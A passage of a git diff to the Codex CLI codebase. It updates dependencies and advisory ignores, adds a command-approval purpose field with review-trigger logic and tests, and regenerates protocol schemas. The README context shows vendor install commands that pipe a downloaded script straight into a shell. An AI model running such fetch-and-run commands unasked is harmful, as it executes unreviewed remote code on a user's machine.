\\\"atomics\\\"))\"},{\"features\":[\"js\"],\"kind\":\"dev\",\"name\":\"getrandom\",\"req\":\"^0.2\",\"target\":\"cfg(target_family = \\\"wasm\\\")\"},{\"name\":\"js-sys\",\"req\":\"^0.3.20\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"},{\"features\":[\"macro\"],\"kind\":\"dev\",\"name\":\"pollster\",\"req\":\"^0.3\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.8\",\"target\":\"cfg(target_family = \\\"wasm\\\")\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1\",\"target\":\"cfg(target_family = \\\"wasm\\\")\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"wasm-bindgen\",\"req\":\"^0.2.70\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-futures\",\"req\":\"^0.4\",\"target\":\"cfg(target_family = \\\"wasm\\\")\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3\",\"target\":\"cfg(target_family = \\\"wasm\\\")\"},{\"features\":[\"WorkerGlobalScope\"],\"kind\":\"dev\",\"name\":\"web-sys\",\"req\":\"^0.3\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_feature = \\\"atomics\\\"))\"},{\"features\":[\"CssStyleDeclaration\",\"Document\",\"Element\",\"HtmlTableElement\",\"HtmlTableRowElement\",\"Performance\",\"Window\"],\"kind\":\"dev\",\"name\":\"web-sys\",\"req\":\"^0.3\",\"target\":\"cfg(target_family = \\\"wasm\\\")\"}],\"features\":{\"serde\":[\"dep:serde\"]}}", diff --git a/README.md b/README.md index 77c8d2199c..bb2a9d18c3 100644 --- a/README.md +++ b/README.md @@ -21,7 +21,7 @@ curl -fsSL https://chatgpt.com/codex/install.sh | sh Run the following on Windows to install Codex CLI: -``` +```shell powershell -ExecutionPolicy ByPass -c "irm https://chatgpt.com/codex/install.ps1 | iex" ``` diff --git a/codex-rs/.cargo/audit.toml b/codex-rs/.cargo/audit.toml index c1d8ff87ee..56feb5edb3 100644 --- a/codex-rs/.cargo/audit.toml +++ b/codex-rs/.cargo/audit.toml @@ -1,5 +1,5 @@ [advisories] -# Reviewed 2026-06-07. Keep this list in sync with ../deny.toml. +# Reviewed 2026-07-02. Keep this list in sync with ../deny.toml. ignore = [ "RUSTSEC-2024-0388", # derivative 2.2.0 via starlark/starlark_syntax; upstream crate is unmaintained "RUSTSEC-2025-0057", # fxhash 0.2.1 via starlark_map/bm25; upstream crate is unmaintained @@ -10,4 +10,6 @@ ignore = [ "RUSTSEC-2026-0118", # hickory-proto via rama-dns/rama-tcp; remove when rama updates to hickory 0.26.1 or hickory-net "RUSTSEC-2026-0119", # hickory-proto via rama-dns/rama-tcp; remove when rama updates to hickory 0.26.1 or hickory-net "RUSTSEC-2026-0173", # proc-macro-error2 via i18n-embed-fl/age/codex-secrets; remove when local secrets storage migrates off age or age drops i18n-embed-fl + "RUSTSEC-2026-0194", # quick-xml via plist/syntect and wayland-scanner; trusted inputs only; remove when rust-plist#191 and wayland-rs#938 are released + "RUSTSEC-2026-0195", # quick-xml via plist/syntect and wayland-scanner; trusted inputs only; remove when rust-plist#191 and wayland-rs#938 are released ] diff --git a/codex-rs/Cargo.lock b/codex-rs/Cargo.lock index 88601e9384..c595c8e61a 100644 --- a/codex-rs/Cargo.lock +++ b/codex-rs/Cargo.lock @@ -3712,7 +3712,7 @@ dependencies = [ "icu_provider", "landlock", "pretty_assertions", - "quick-xml", + "quick-xml 0.41.0", "reqwest 0.12.28", "schemars 0.8.22", "seccompiler", @@ -3906,12 +3906,13 @@ dependencies = [ "pretty_assertions", "regex", "serde", - "serde_json", "shlex", + "tempfile", "tree-sitter", "tree-sitter-bash", "url", "which 8.0.0", + "windows-sys 0.52.0", ] [[package]] @@ -10271,13 +10272,13 @@ checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" [[package]] name = "plist" -version = "1.8.0" +version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "740ebea15c5d1428f910cd1a5f52cebf8d25006245ed8ade92702f4943d91e07" +checksum = "092791278e026273c1b65bbdcfbba3a300f2994c896bd01ab01da613c29c46f1" dependencies = [ "base64 0.22.1", "indexmap 2.14.0", - "quick-xml", + "quick-xml 0.39.4", "serde", "time", ] @@ -10710,9 +10711,18 @@ checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" [[package]] name = "quick-xml" -version = "0.38.4" +version = "0.39.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b66c2058c55a409d601666cffe35f04333cf1013010882cec174a7467cd4e21c" +checksum = "cdcc8dd4e2f670d309a5f0e83fe36dfdc05af317008fea29144da1a2ac858e5e" +dependencies = [ + "memchr", +] + +[[package]] +name = "quick-xml" +version = "0.41.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e660451e55124f798a69a5af3f49ccfbefbd41910eefd25caf2393e1f3473ec1" dependencies = [ "memchr", "serde", @@ -14673,12 +14683,12 @@ dependencies = [ [[package]] name = "wayland-scanner" -version = "0.31.8" +version = "0.31.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5423e94b6a63e68e439803a3e153a9252d5ead12fd853334e2ad33997e3889e3" +checksum = "9c324a910fd86ebdc364a3e61ec1f11737d3b1d6c273c0239ee8ff4bc0d24b4a" dependencies = [ "proc-macro2", - "quick-xml", + "quick-xml 0.39.4", "quote", ] diff --git a/codex-rs/Cargo.toml b/codex-rs/Cargo.toml index 34097b56aa..2f73c216a9 100644 --- a/codex-rs/Cargo.toml +++ b/codex-rs/Cargo.toml @@ -362,7 +362,7 @@ portable-pty = "0.9.0" predicates = "3" pretty_assertions = "1.4.1" pulldown-cmark = "0.10" -quick-xml = "0.38.4" +quick-xml = "0.41.0" rand = "0.9" ratatui = "0.29.0" ratatui-macros = "0.6.0" diff --git a/codex-rs/analytics/src/analytics_client_tests.rs b/codex-rs/analytics/src/analytics_client_tests.rs index 0f759fd938..489bfc7217 100644 --- a/codex-rs/analytics/src/analytics_client_tests.rs +++ b/codex-rs/analytics/src/analytics_client_tests.rs @@ -893,6 +893,7 @@ fn sample_command_approval_request(request_id: i64, approval_id: Option<&str>) - item_id: "item-1".to_string(), started_at_ms: 1_000, approval_id: approval_id.map(str::to_string), + approval_purpose: None, environment_id: None, reason: None, network_approval_context: None, diff --git a/codex-rs/analytics/src/events.rs b/codex-rs/analytics/src/events.rs index ad8adf14cb..50db868a0f 100644 --- a/codex-rs/analytics/src/events.rs +++ b/codex-rs/analytics/src/events.rs @@ -564,7 +564,7 @@ pub(crate) enum Reviewer { } #[allow(dead_code)] -#[derive(Clone, Copy, Debug, Serialize)] +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize)] #[serde(rename_all = "snake_case")] pub(crate) enum ReviewTrigger { Initial, diff --git a/codex-rs/analytics/src/reducer.rs b/codex-rs/analytics/src/reducer.rs index 29f21bac52..f5c4f49de6 100644 --- a/codex-rs/analytics/src/reducer.rs +++ b/codex-rs/analytics/src/reducer.rs @@ -106,6 +106,7 @@ use codex_app_server_protocol::CollabAgentTool; use codex_app_server_protocol::CollabAgentToolCallStatus; use codex_app_server_protocol::CommandAction; use codex_app_server_protocol::CommandExecutionApprovalDecision; +use codex_app_server_protocol::CommandExecutionApprovalPurpose; use codex_app_server_protocol::CommandExecutionSource; use codex_app_server_protocol::CommandExecutionStatus; use codex_app_server_protocol::DynamicToolCallOutputContentItem; @@ -969,15 +970,13 @@ impl AnalyticsReducer { .and_then(|network| network.enabled) .unwrap_or(false); let requested_additional_permissions = params.additional_permissions.is_some(); - let trigger = if params.approval_id.is_some() { - ReviewTrigger::ExecveIntercept - } else if requested_network_access { - ReviewTrigger::NetworkPolicyDenial - } else if requested_additional_permissions { - ReviewTrigger::SandboxDenial - } else { - ReviewTrigger::Initial - }; + let trigger = command_execution_review_trigger( + params.approval_purpose, + params.approval_id.as_deref(), + params.reason.as_deref(), + requested_additional_permissions, + requested_network_access, + ); let Some(started_at_ms) = option_i64_to_u64(Some(params.started_at_ms)) else { return; }; @@ -2320,6 +2319,36 @@ fn guardian_review_subject_metadata( } } +fn command_execution_review_trigger( + approval_purpose: Option, + approval_id: Option<&str>, + reason: Option<&str>, + requested_additional_permissions: bool, + requested_network_access: bool, +) -> ReviewTrigger { + if requested_network_access { + return ReviewTrigger::NetworkPolicyDenial; + } + + let purpose = approval_purpose.unwrap_or_else(|| { + if approval_id.is_none() { + CommandExecutionApprovalPurpose::Initial + } else if reason.is_some() { + CommandExecutionApprovalPurpose::SandboxRetry + } else { + CommandExecutionApprovalPurpose::Execve + } + }); + match purpose { + CommandExecutionApprovalPurpose::SandboxRetry => ReviewTrigger::SandboxDenial, + CommandExecutionApprovalPurpose::Execve => ReviewTrigger::ExecveIntercept, + CommandExecutionApprovalPurpose::Initial if requested_additional_permissions => { + ReviewTrigger::SandboxDenial + } + CommandExecutionApprovalPurpose::Initial => ReviewTrigger::Initial, + } +} + fn guardian_review_requested_additional_permissions(action: &GuardianApprovalReviewAction) -> bool { match action { GuardianApprovalReviewAction::ApplyPatch { .. } @@ -2843,4 +2872,105 @@ mod tests { Some((ReviewStatus::TimedOut, ReviewResolution::None)) )); } + + #[test] + fn command_execution_review_trigger_uses_explicit_purpose_and_precedence() { + use CommandExecutionApprovalPurpose as Purpose; + let cases = [ + ( + Some(Purpose::Initial), + Some("id"), + None, + false, + false, + ReviewTrigger::Initial, + ), + ( + Some(Purpose::Initial), + Some("id"), + Some("reason"), + false, + false, + ReviewTrigger::Initial, + ), + ( + Some(Purpose::Execve), + Some("id"), + None, + false, + false, + ReviewTrigger::ExecveIntercept, + ), + ( + Some(Purpose::Execve), + Some("id"), + Some("reason"), + true, + false, + ReviewTrigger::ExecveIntercept, + ), + ( + Some(Purpose::SandboxRetry), + Some("id"), + None, + false, + false, + ReviewTrigger::SandboxDenial, + ), + ( + Some(Purpose::SandboxRetry), + Some("id"), + Some("reason"), + false, + false, + ReviewTrigger::SandboxDenial, + ), + ( + Some(Purpose::Initial), + None, + None, + true, + false, + ReviewTrigger::SandboxDenial, + ), + ( + Some(Purpose::Execve), + Some("id"), + None, + true, + true, + ReviewTrigger::NetworkPolicyDenial, + ), + ( + None, + Some("id"), + Some("reason"), + false, + false, + ReviewTrigger::SandboxDenial, + ), + ( + None, + Some("id"), + None, + false, + false, + ReviewTrigger::ExecveIntercept, + ), + ( + None, + None, + Some("reason"), + false, + false, + ReviewTrigger::Initial, + ), + ]; + for (purpose, id, reason, permissions, network, expected) in cases { + assert_eq!( + command_execution_review_trigger(purpose, id, reason, permissions, network), + expected + ); + } + } } diff --git a/codex-rs/app-server-protocol/schema/json/ClientRequest.json b/codex-rs/app-server-protocol/schema/json/ClientRequest.json index f3983e31f4..7f7ead662b 100644 --- a/codex-rs/app-server-protocol/schema/json/ClientRequest.json +++ b/codex-rs/app-server-protocol/schema/json/ClientRequest.json @@ -1786,13 +1786,29 @@ "type": "object" }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/CommandExecutionRequestApprovalParams.json b/codex-rs/app-server-protocol/schema/json/CommandExecutionRequestApprovalParams.json index 91f74376fd..c45011bcdf 100644 --- a/codex-rs/app-server-protocol/schema/json/CommandExecutionRequestApprovalParams.json +++ b/codex-rs/app-server-protocol/schema/json/CommandExecutionRequestApprovalParams.json @@ -273,6 +273,14 @@ } ] }, + "CommandExecutionApprovalPurpose": { + "enum": [ + "initial", + "execve", + "sandboxRetry" + ], + "type": "string" + }, "FileSystemAccessMode": { "enum": [ "read", @@ -521,12 +529,23 @@ }, "properties": { "approvalId": { - "description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.", + "description": "Opaque identifier for this specific approval callback, when present.\n\nUse the JSON-RPC request ID for the response. When tracking callback UI or state outside that envelope, use this instead of `itemId` when it is present. Absence is a legacy/cacheable compatibility path.", "type": [ "string", "null" ] }, + "approvalPurpose": { + "anyOf": [ + { + "$ref": "#/definitions/CommandExecutionApprovalPurpose" + }, + { + "type": "null" + } + ], + "description": "Semantic purpose of this approval request. Compatibility events may omit it." + }, "command": { "description": "The command to be executed.", "type": [ diff --git a/codex-rs/app-server-protocol/schema/json/ServerNotification.json b/codex-rs/app-server-protocol/schema/json/ServerNotification.json index 23dae42a9d..e7a533d76b 100644 --- a/codex-rs/app-server-protocol/schema/json/ServerNotification.json +++ b/codex-rs/app-server-protocol/schema/json/ServerNotification.json @@ -2713,13 +2713,29 @@ "type": "object" }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/ServerRequest.json b/codex-rs/app-server-protocol/schema/json/ServerRequest.json index c6ac80dee5..227ecf94e7 100644 --- a/codex-rs/app-server-protocol/schema/json/ServerRequest.json +++ b/codex-rs/app-server-protocol/schema/json/ServerRequest.json @@ -342,15 +342,34 @@ } ] }, + "CommandExecutionApprovalPurpose": { + "enum": [ + "initial", + "execve", + "sandboxRetry" + ], + "type": "string" + }, "CommandExecutionRequestApprovalParams": { "properties": { "approvalId": { - "description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.", + "description": "Opaque identifier for this specific approval callback, when present.\n\nUse the JSON-RPC request ID for the response. When tracking callback UI or state outside that envelope, use this instead of `itemId` when it is present. Absence is a legacy/cacheable compatibility path.", "type": [ "string", "null" ] }, + "approvalPurpose": { + "anyOf": [ + { + "$ref": "#/definitions/CommandExecutionApprovalPurpose" + }, + { + "type": "null" + } + ], + "description": "Semantic purpose of this approval request. Compatibility events may omit it." + }, "command": { "description": "The command to be executed.", "type": [ diff --git a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json index b77b512b36..64f0446f10 100644 --- a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json +++ b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json @@ -2371,16 +2371,35 @@ } ] }, + "CommandExecutionApprovalPurpose": { + "enum": [ + "initial", + "execve", + "sandboxRetry" + ], + "type": "string" + }, "CommandExecutionRequestApprovalParams": { "$schema": "http://json-schema.org/draft-07/schema#", "properties": { "approvalId": { - "description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.", + "description": "Opaque identifier for this specific approval callback, when present.\n\nUse the JSON-RPC request ID for the response. When tracking callback UI or state outside that envelope, use this instead of `itemId` when it is present. Absence is a legacy/cacheable compatibility path.", "type": [ "string", "null" ] }, + "approvalPurpose": { + "anyOf": [ + { + "$ref": "#/definitions/CommandExecutionApprovalPurpose" + }, + { + "type": "null" + } + ], + "description": "Semantic purpose of this approval request. Compatibility events may omit it." + }, "command": { "description": "The command to be executed.", "type": [ @@ -12860,13 +12879,29 @@ "type": "object" }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json index bdd61d6b94..6155844a8b 100644 --- a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json +++ b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json @@ -9264,13 +9264,29 @@ "type": "object" }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/v2/ThreadForkResponse.json b/codex-rs/app-server-protocol/schema/json/v2/ThreadForkResponse.json index 5d20d64e68..59a14cc070 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/ThreadForkResponse.json +++ b/codex-rs/app-server-protocol/schema/json/v2/ThreadForkResponse.json @@ -681,13 +681,29 @@ ] }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/v2/ThreadResumeResponse.json b/codex-rs/app-server-protocol/schema/json/v2/ThreadResumeResponse.json index ee1ca83917..80fbb183f8 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/ThreadResumeResponse.json +++ b/codex-rs/app-server-protocol/schema/json/v2/ThreadResumeResponse.json @@ -681,13 +681,29 @@ ] }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/v2/ThreadSettingsUpdatedNotification.json b/codex-rs/app-server-protocol/schema/json/v2/ThreadSettingsUpdatedNotification.json index 8d528246b5..f3296fa376 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/ThreadSettingsUpdatedNotification.json +++ b/codex-rs/app-server-protocol/schema/json/v2/ThreadSettingsUpdatedNotification.json @@ -108,13 +108,29 @@ "type": "string" }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/v2/ThreadStartParams.json b/codex-rs/app-server-protocol/schema/json/v2/ThreadStartParams.json index 3a23d13d22..3819f1f761 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/ThreadStartParams.json +++ b/codex-rs/app-server-protocol/schema/json/v2/ThreadStartParams.json @@ -195,13 +195,29 @@ "type": "string" }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "Personality": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/v2/ThreadStartResponse.json b/codex-rs/app-server-protocol/schema/json/v2/ThreadStartResponse.json index 9d16598696..3ef1577038 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/ThreadStartResponse.json +++ b/codex-rs/app-server-protocol/schema/json/v2/ThreadStartResponse.json @@ -681,13 +681,29 @@ ] }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/v2/TurnStartParams.json b/codex-rs/app-server-protocol/schema/json/v2/TurnStartParams.json index 36b4d2a15d..cc4869e1d1 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/TurnStartParams.json +++ b/codex-rs/app-server-protocol/schema/json/v2/TurnStartParams.json @@ -141,13 +141,29 @@ "type": "string" }, "MultiAgentMode": { - "description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.", - "enum": [ - "none", - "explicitRequestOnly", - "proactive" - ], - "type": "string" + "description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.", + "oneOf": [ + { + "enum": [ + "explicitRequestOnly", + "proactive" + ], + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "custom": { + "type": "string" + } + }, + "required": [ + "custom" + ], + "title": "CustomMultiAgentMode", + "type": "object" + } + ] }, "NetworkAccess": { "enum": [ diff --git a/codex-rs/app-server-protocol/schema/typescript/MultiAgentMode.ts b/codex-rs/app-server-protocol/schema/typescript/MultiAgentMode.ts index b59be94f8e..7784a6f5ca 100644 --- a/codex-rs/app-server-protocol/schema/typescript/MultiAgentMode.ts +++ b/codex-rs/app-server-protocol/schema/typescript/MultiAgentMode.ts @@ -3,9 +3,7 @@ // This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually. /** - * Controls whether the model receives multi-agent delegation instructions and, - * when it does, whether it should only spawn sub-agents after an explicit user - * request or may delegate proactively when doing so would help. `none` leaves - * the multi-agent tools available without injecting delegation instructions. + * Controls the effective multi-agent delegation instructions for a turn. `custom` means the + * configured mode hint defines the policy instead of a built-in policy. */ -export type MultiAgentMode = "none" | "explicitRequestOnly" | "proactive"; +export type MultiAgentMode = { "custom": string } | "explicitRequestOnly" | "proactive"; diff --git a/codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionApprovalPurpose.ts b/codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionApprovalPurpose.ts new file mode 100644 index 0000000000..1807c0d9f6 --- /dev/null +++ b/codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionApprovalPurpose.ts @@ -0,0 +1,5 @@ +// GENERATED CODE! DO NOT MODIFY BY HAND! + +// This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually. + +export type CommandExecutionApprovalPurpose = "initial" | "execve" | "sandboxRetry"; diff --git a/codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionRequestApprovalParams.ts b/codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionRequestApprovalParams.ts index 4f02c92cae..3a18e7514c 100644 --- a/codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionRequestApprovalParams.ts +++ b/codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionRequestApprovalParams.ts @@ -3,6 +3,7 @@ // This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually. import type { LegacyAppPathString } from "../LegacyAppPathString"; import type { CommandAction } from "./CommandAction"; +import type { CommandExecutionApprovalPurpose } from "./CommandExecutionApprovalPurpose"; import type { ExecPolicyAmendment } from "./ExecPolicyAmendment"; import type { NetworkApprovalContext } from "./NetworkApprovalContext"; import type { NetworkPolicyAmendment } from "./NetworkPolicyAmendment"; @@ -11,15 +12,16 @@ export type CommandExecutionRequestApprovalParams = {threadId: string, turnId: s * Unix timestamp (in milliseconds) when this approval request started. */ startedAtMs: number, /** - * Unique identifier for this specific approval callback. + * Opaque identifier for this specific approval callback, when present. * - * For regular shell/unified_exec approvals, this is null. - * - * For zsh-exec-bridge subcommand approvals, multiple callbacks can belong to - * one parent `itemId`, so `approvalId` is a distinct opaque callback id - * (a UUID) used to disambiguate routing. + * Use the JSON-RPC request ID for the response. When tracking callback UI + * or state outside that envelope, use this instead of `itemId` when it is + * present. Absence is a legacy/cacheable compatibility path. */ approvalId?: string | null, /** + * Semantic purpose of this approval request. Compatibility events may omit it. + */ +approvalPurpose?: CommandExecutionApprovalPurpose | null, /** * Environment in which the command will run. */ environmentId: string | null, /** diff --git a/codex-rs/app-server-protocol/schema/typescript/v2/index.ts b/codex-rs/app-server-protocol/schema/typescript/v2/index.ts index c405082c4c..cc2953e23a 100644 --- a/codex-rs/app-server-protocol/schema/typescript/v2/index.ts +++ b/codex-rs/app-server-protocol/schema/typescript/v2/index.ts @@ -63,6 +63,7 @@ export type { CommandExecTerminateResponse } from "./CommandExecTerminateRespons export type { CommandExecWriteParams } from "./CommandExecWriteParams"; export type { CommandExecWriteResponse } from "./CommandExecWriteResponse"; export type { CommandExecutionApprovalDecision } from "./CommandExecutionApprovalDecision"; +export type { CommandExecutionApprovalPurpose } from "./CommandExecutionApprovalPurpose"; export type { CommandExecutionOutputDeltaNotification } from "./CommandExecutionOutputDeltaNotification"; export type { CommandExecutionRequestApprovalParams } from "./CommandExecutionRequestApprovalParams"; export type { CommandExecutionRequestApprovalResponse } from "./CommandExecutionRequestApprovalResponse"; diff --git a/codex-rs/app-server-protocol/src/protocol/common.rs b/codex-rs/app-server-protocol/src/protocol/common.rs index d8db99d4ff..9e95990841 100644 --- a/codex-rs/app-server-protocol/src/protocol/common.rs +++ b/codex-rs/app-server-protocol/src/protocol/common.rs @@ -3693,6 +3693,7 @@ mod tests { item_id: 